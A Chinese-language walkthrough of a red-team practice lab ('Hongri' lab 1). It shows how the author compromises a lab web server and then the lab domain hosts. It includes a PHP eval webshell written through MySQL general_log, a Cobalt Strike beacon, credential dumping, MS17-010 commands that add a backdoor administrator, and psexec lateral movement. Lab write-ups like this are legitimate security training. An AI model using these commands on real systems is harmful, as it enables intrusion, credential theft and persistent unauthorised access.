ATT&CK红队评估(红日靶场一)
0x01 靶场环境
靶场搭建这一块就不再说了,errorr0师傅写的很详细,我的环境配置就是跟着他的文章搭建的
https://blog.csdn.net/qq_51295677/article/details/124174404
网络拓扑
加上攻击机一共四台靶机
环境IP配置
kali (攻击机):192.168.19.140
Windows 7 (web服务器,两网卡):192.168.19.144(外网和kali连通)、192.168.5.128(内网)
Windows 2008 (域控):192.168.5.130
Win2k3 (域管):192.168.5.129
0x02 外网渗透
外网信息收集
win7作为一台服务器暴露在外网,与kali机存在同一网段
用nmap扫描网段,找到外网服务器的真实IP
外网IP为144结尾,那么再用nmap详细扫描一下开放的端口以及服务
开的端口挺多,主要就是web服务,从扫描信息来看,得知服务器是一个Win32的机器
访问服务器IP的80端口
主页就是一个phpStudy的探针
底部可以连接数据库,可以试一下账号密码,mysql默认的话,账号密码都是root
账号密码正确,那么想远程连接一下mysql,理论上是可行的
但是对外来IP做了限制,连接失败,回头继续从web入手
页面没啥东西了,扫一下目录
有phpmyadmin,这下又有突破口了,需要登录,账号密码为root,root直接可以登录进去
phpMyadmin写shell
能写入shell拿权限才是最舒服的
通过mysql写文件,一种是利用outfile,不过在mysql5.0以上就需要用户有写权限,和mysql配置中开启了相应的选项才能写入文件
第二种就是修改日志文件的方式,在phpMyadmin中可以执行sql语句
show variables like '%general%' |
查看日志保存状态
本来是关闭日志保存的
set global general_log='on'; |
执行这个sql语句可以修改general_log的值,接下来修改日志保存的位置
SET global general_log_file='C:/phpStudy/WWW/shell.php' |
绝对路径可以在主页面的探针信息中找到
查看日志保存状态,全局变量是否修改成功
执行sql语句,将一句话木马保存在日志中
SELECT '<?php @eval($_REQUEST["shell"]);?>'; |
成功拿到shell,拿下web服务器,剩下的就向内网渗透了
0x03 内网渗透
Cobalt Strike远控
连接蚁剑,这是Windows的操作系统,通常是没有nc或者bash的,所以要实现远控,就要利用Cobalt Strike来生成exe的马,kali机作为服务端,主机Win11作为客户端启动Cobalt Strike
创建监听器用于木马回连,注意host为Cobalt Strike服务端,也就是kali机的ip,填了HTTP端口(上线)就不用再填写监听的端口了
用CS生成Windows的后门程序,要使用64位的payload
将生成的exe的后门程序通过蚁剑上传到服务器
在服务器上运行exe可执行程序
可以看到成功上线CS,右键开启一个会话交互
通常来说,CS服务器默认60s会重连一次,所以指令会有延迟,执行sleep 0 加快回显,输入命令看看
NT AUTHORITY\SYSTEM
是 Windows 操作系统中的一个高度特权的帐户,通常也被称为 “System” 帐户,它具有对操作系统和系统资源的广泛访问权限,包括文件系统、注册表、系统服务、安全子系统等。所以不需要来提权了
内网信息收集
查看主机的网络配置
shell ipconfig |
发现5网段的内网地址
shell net view /domain |
发现存在域
抓取明文密码,在Cobalt Strike 中有个凭证提权的模块,里面有抓取明文密码的功能,使用 hashdump 和 logonpasswords 读内存和注册表密码,并且可以在密码凭证下查看
hashdump 获取密码哈希值,便于后续利用破解工具破解哈希得到密码 |
返回会话到msf
将会话返回到kali机上,与msf联动
use exploit/multi/handler |
设置自己在kali中监听的主机ip和端口,然后在cs中新建一个foreign监听的listeners
对于上线的主机,选择这个foreign监听的listeners,新建一个会话,然后成功将这个会话返回给msf
建立socket代理
在msf中执行 run post/multi/manage/autoroute 新建路由
run post/multi/manage/autoroute 是 Metasploit Framework 中的一个命令,用于执行一个名为 "autoroute" 的后渗透测试模块。这个模块的主要功能是配置路由,以便在受感染的目标网络上建立路由到其他子网或目标的通信路径。 |
执行 run autoroute -p 查看路由
挂起会话,建立socks代理
background |
执行完exploit后,挂起一个job 列出所有当前运行的后台任务
修改 proxychains4.conf 配置文件
proxychains4.conf 是 ProxyChains 的配置文件,用于配置 ProxyChains 工具的行为。 |
使用arp 探测内网存活主机
use post/windows/gather/arp_scanner |
除web服务器外,有两台内网主机。
192.168.5.129/24 |
横向渗透
对其他内网主机进行端口探测
Cobalt Strike中可以对域管进行端口扫描,搭建代理使用nmap扫描扫不全端口,不知道为什么,坑了我好久
扫描到445端口,可以打一波永恒之蓝(要是在实战中,估计就与目标无缘了)打64位系统
use auxiliary/admin/smb/ms17_010_command |
攻击成功,拿到shell,试着对域管主机添加用户
set COMMAND net user hack xilitter@123 /add |
然后把添加的用户加入管理员组
set COMMAND net localgroup administrators hack /add |
开启23端口,telnet服务
set COMMAND sc config tlntsvr start= auto |
成功开启,利用我们刚添加的用户信息远程登录
proxychains telnet 192.168.5.129 |
注意要用代理对我们的流量进行转发
能够成功执行命令,拿下域里的一台机器,ctrl+] 再输入q退出telnet
还有一台域控,利用同样的方法扫描端口,存在445端口,同样的方法去打,添加用户
成功添加用户到管理员组,接下来使用 Cobalt Strike,执行net view查看共享的资源
成功发现域控主机,利用我们添加的用户横向登录到域控,选择横向移动,psexec,添加SMB的监听器
登录成功,开启一个会话交互,执行systeminfo命令
成功拿下域控机器,到此靶场渗透结束
0x04 结语与反思
第一次打内网靶场,路程还是挺艰辛的。外网打点还是比较轻松的,打到内网 Windows 主机就不知道怎么搞了,跟着别的师傅的教程也算是打完了,后续会对Windows主机的命令操作以及 Cobalt Strike 和MSF渗透工具的深入使用。以下是我参考的文章链接: